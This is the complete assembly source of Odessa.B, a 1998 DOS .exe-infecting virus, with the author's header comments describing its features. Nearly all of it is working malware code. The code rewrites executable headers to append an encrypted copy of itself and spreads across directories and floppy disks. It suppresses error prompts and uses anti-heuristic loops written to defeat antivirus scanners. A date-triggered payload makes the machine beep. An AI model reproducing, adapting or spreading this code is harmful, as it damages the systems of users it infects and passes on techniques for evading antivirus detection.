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410 lines
13 KiB
NASM
410 lines
13 KiB
NASM
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
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; Odessa.B virus
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; (C) Opic [CodeBreakers '98]
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;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
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;Odessa.B variant is a continuation of Odessa (aka opic.727)
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;
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;Odessa.B's NEW features:
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;
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;-Odessa.B will NOW infect .Exe files present on any floppy disks
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; undetectably (due to a critical error handler). It does so after
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; the current HDD is infected. When Odessa.B is present on a floppy
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; disk it will move imediatly to the HDD to insure infection of new systems.
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;Thus making it a viable floppy born virus (one of the few outside of the
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;BS/MBR families)
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;
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;-an expanded encryption loop
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;
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;-some minor bug fixes, and optimisations.
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;
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;Infected files grow approximatly: 745 bytes
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;
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;Old features:
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;
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;-Exe file infector
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;-directory transversal via dotdot
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;-is Windows compatable (ie: will not infect: Windows NE, PE, LE files ect.)
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;-some anti-emulation
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;-payload criteria: the virus will activate its payload on
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; either the 13th or the 6th of any given month provided the seconds
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; are below 30.
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;
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;-payload: when activated the virus will beep 6 times before the
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; infected file is run. I choose this more subtle payload because
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;it is easily missed, and only creates a bit of curiosity at most.
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;which is a good aspect since the fact that all infected files will
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;try to access the floppy drive before running also brings some curious.
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;Its also somewhat humerous because the telltale signs of this virus
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;are also what many non-computer literate people constantly write to
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;AVers about complaining of (to which the AVs constant reply is:
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;false alarm. There is a signature line:
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;Odessa.B (c) Opic [Codebreakers 1998]
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;I have left for the AV to rename for me, as it is never displayed
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;(hell i figure their gonna anyways :P ).
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;
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;detected: Not detected by TBAV as second gen.
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;
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;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
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Exe_Infector Segment
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Assume CS:Exe_Infector, SS:Exe_Infector, DS:Exe_Infector, ES:Exe_Infector
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jumps
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start: ;set registers up
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dec cx ;lame loop
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noav1:
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jmp noav2
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mov ax,4c00h
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int 21h
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noav2:
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loop noav1 ;end of antiheur
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push ds
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push es
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push cs
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push cs
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pop ds
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pop es
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Call delta
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delta: ;delta offset
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pop bp
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sub bp,offset delta
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lea si,[bp+Begin_Virus]
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mov di,si
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mov cx,End_Virus-Begin_Virus
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call encrypt
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jmp Begin
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encrypt:
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lodsb
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NEG al ;<-------------13
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ROR al,4 ;<------------12
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NOT al ;<-----------11
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ROR al,4 ;<----------10
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NOT al ;<---------9
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NEG al ;<--------8
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ROL al,4 ;<-------7
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NOT al ;<------6
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ROL al,4 ;<-----5
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NOT al ;<----4
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ROR al,4 ;<---3
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NEG al ;<--2
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NOT al ;<-1
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ROR al,4 ;<0 this huge loop may
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NOT al ;<-1 look silly but it
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NEG al ;<--2 kills alot of AV
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ROR al,4 ;<---3 scanners due becuz
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NOT al ;<----4 they think it is
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ROL al,4 ;<-----5 endless
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NOT al ;<------6
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ROL al,4 ;<-------7
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NEG al ;<--------8
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NOT al ;<---------9
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ROR al,4 ;<----------10
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NOT al ;<-----------11
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ROR al,4 ;<------------12
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NEG al ;<-------------13
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stosb
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loop encrypt
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ret
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Begin_Virus:
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Check_Payload proc
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mov ah,2ah ;system date
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int 21h
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cmp dl,13 ;is it the 31st if the month?
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je sec ;yes? test seconds!
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cmp dl,6 ;13th ?
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je sec ;yes seconds!
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jmp CP_Exit ;no? restore.
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sec:
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mov ah,2Ch ;check time
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int 21h
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cmp dh,30d ;seconds less then 30?
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jnb CP_Exit ;if yes->payload
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call Payload
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CP_Exit:
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ret
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Check_Payload endp
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Payload proc
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mov ah,0eh ;back to c:\
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mov dl,02h
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int 21h
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mov cx,6 ;beep 6 times.
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beep:
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mov al,7
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int 29h
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loop beep
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ret
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Payload endp
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Infect proc
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mov ax,3d02h ;open file
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lea dx,[bp+End_Virus+1eh]
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int 21h
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mov bx,ax ;file handleto bx
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mov ah,3fh ;exe head into buffer
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lea dx,[bp+header]
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mov cx,1ah
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int 21h
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cmp word ptr cs:[bp+header],'MZ' ;check .exe signature
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je its_exe
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cmp word ptr cs:[bp+header],'ZM'
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je its_exe
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jmp close
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its_exe:
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cmp byte ptr cs:[bp+header+12h],'B' ;our infection check
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jne not_infected
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jmp close
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not_infected:
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mov ax, word ptr cs:[bp+header+18h] ;make sure its not a
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;windbloze exe (pe,ne,le .ect)
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cmp ax, 40h
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jae close ; > or = means windbloze
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mov ax,word ptr cs:[bp+header+0eh] ;save orginal info from header
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mov word ptr cs:[bp+old_ss],ax ;stack segment
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mov ax,word ptr cs:[bp+header+10h] ;stack pointer
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mov word ptr cs:[bp+old_sp],ax
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mov ax,word ptr cs:[bp+header+14h] ;instructional pointer
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mov word ptr cs:[bp+old_ip],ax
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mov ax,word ptr cs:[bp+header+16h] ;code segment
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mov word ptr cs:[bp+old_cs],ax ;cs:ip =begining of excutable code
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mov ax,4202h ;EOF
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xor cx,cx
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xor dx,dx
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int 21h
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push ax ;save file size
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push dx
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push ax
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mov ax,word ptr cs:[bp+header+8] ;header size
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shl ax,4 ;convert
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mov cx,ax ;save header size in cx
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pop ax ;restore ax
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sub ax,cx ;subtract header from file size to get code and data size
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sbb dx,0
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mov cx,10h
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div cx
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mov word ptr cs:[bp+header+14h],dx ;IP create new header
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mov word ptr cs:[bp+header+16h],ax ;CS
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mov word ptr cs:[bp+header+0Eh],ax ;SS
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mov word ptr cs:[bp+header+10h],0fffeh ;SP
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mov word ptr cs:[bp+header+12h],'B' ;marker
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pop dx ;restore filesize
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pop ax ;dx to ax
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add ax,End_Virus-start
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adc dx,0
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mov cx,512 ;divide new filesize by 512
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div cx
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cmp dx,0
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je no_remainder
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inc ax
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no_remainder:
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mov word ptr cs:[bp+header+4],ax ;save new filesize
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mov word ptr cs:[bp+header+2],dx
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lea si,[bp+Begin_Virus] ;crypt virus
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lea di,[bp+Buffer]
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mov cx,End_Virus - Begin_Virus
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call encrypt
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mov ah,40h ;write decryptor
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mov cx,Begin_Virus - start
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lea dx,[bp+start]
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int 21h
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mov ah,40h ;write encrypted portion
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mov cx,End_Virus - Begin_Virus
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lea dx,[bp+Buffer]
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int 21h
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mov ax,4200h ;SOF
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xor cx,cx
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xor dx,dx
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int 21h
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mov ah,40h ;write new header
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lea dx,[bp+header]
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mov cx,1ah
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int 21h
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close:
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mov ah,3eh
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int 21h
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ret
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Infect endp
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ni24h proc ;
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mov al,3 ;ignore error
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iret ;critical error handler
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ni24h endp
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Search proc
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mov ax,3524h ;critical error handler
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int 21h
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push bx ;saves orig
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push es ;stuffs to restore later
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mov ah,25h
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lea dx,[bp+ni24h]
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int 21h
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push ds ;ES was changed by 3524h but you need it
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pop es ;to be restored for the crypt procedure.
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first:
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mov ah,4eh ;find first
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lea dx,[bp+filespec]
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mov cx,7
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findnext:
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int 21h
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jc findover ;no? get out!
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call Infect ;yes and infect!
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mov ah,4fh ;find next
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jmp findnext
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findover:
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mov ah,3Bh ;change dirs
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lea dx,[bp+dotdot] ;to root
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int 21h ;now
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jnc first ;find first file
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get_cur_drive:
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mov ah,19h ;what drive are we on?
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int 21h
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cmp al,00h ;if already floppy
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je Search_Exit ;we can leave now.
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mov ah,0eh ;select default drive
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mov dl,00h ;this time the floppy drive
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int 21h
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jmp first ;exe on floppy?
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Search_Exit:
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pop ds
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pop dx
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mov ax,2524h
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int 21h
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ret
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Search endp
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Begin proc
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mov ah,2fh ;get current dta
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int 21h
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push es ;save it
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push bx
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push cs ;restore es
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pop es
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mov ah,1ah ;set new dta to end of virus
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lea dx,[bp+End_Virus]
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int 21h
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mov ah,0eh ;select default drive (main HDD)
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mov dl,02h ;c:\
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int 21h ;so our virus can move from
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;a floppy to a new HDD without
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;any help
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lea si,[bp+old_ip]
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lea di,[bp+original_ip]
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mov cx,4
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rep movsw
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call Search
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call Check_Payload
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mov ah,0eh ;back to c:\
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mov dl,02h
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int 21h
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restore: ;restore prev location DTA
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pop dx
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pop ds
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mov ah,1ah ;reset dta
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int 21h
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pop ds
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pop es
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mov ax,es ;es points to PSP
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add ax,10h
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add word ptr cs:[bp+original_cs],ax
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cli ;ints off!
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add ax,word ptr cs:[bp+original_ss]
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mov ss,ax
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mov sp,word ptr cs:[bp+original_sp]
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sti ;ints on!
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Begin endp
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db 0eah
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original_ip dw ?
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original_cs dw ?
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original_ss dw ?
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original_sp dw ?
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old_ip dw offset Exit
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old_cs dw 0000h
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old_ss dw 0000h
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old_sp dw 0fffeh
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filespec db '*.exe',0
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dotdot db '..',0
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sig db 'Odessa.B (c) Opic [Codebreakers 1998]',0
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header db 1ah DUP(?)
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End_Virus db 42 dup(?)
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Buffer equ this byte+80h
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db 1024 dup(?)
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Entry proc
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mov bp,0000h
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push ds
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push es
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push cs
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pop ds
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push cs
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pop es
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jmp Begin
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Entry endp
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Exit proc ;<- Begin procedure
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mov ax,4c00H
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int 21h
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Exit endp ;<- End procedure
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Exe_Infector Ends
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End Entry
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